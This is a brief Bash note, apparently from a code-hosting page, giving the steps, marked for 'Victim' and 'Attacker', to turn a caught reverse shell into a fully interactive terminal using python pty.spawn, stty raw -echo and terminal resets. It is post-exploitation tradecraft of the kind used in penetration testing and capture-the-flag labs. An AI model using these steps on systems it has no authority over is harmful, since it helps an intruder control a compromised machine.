2017-07-20 19:22:59 -07:00

14 lines
186 B
Bash

# Victim
python -c 'import pty; pty.spawn("/bin/bash")'
#Ctrl-Z
# Attacker
stty raw -echo
fg
# Victim
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>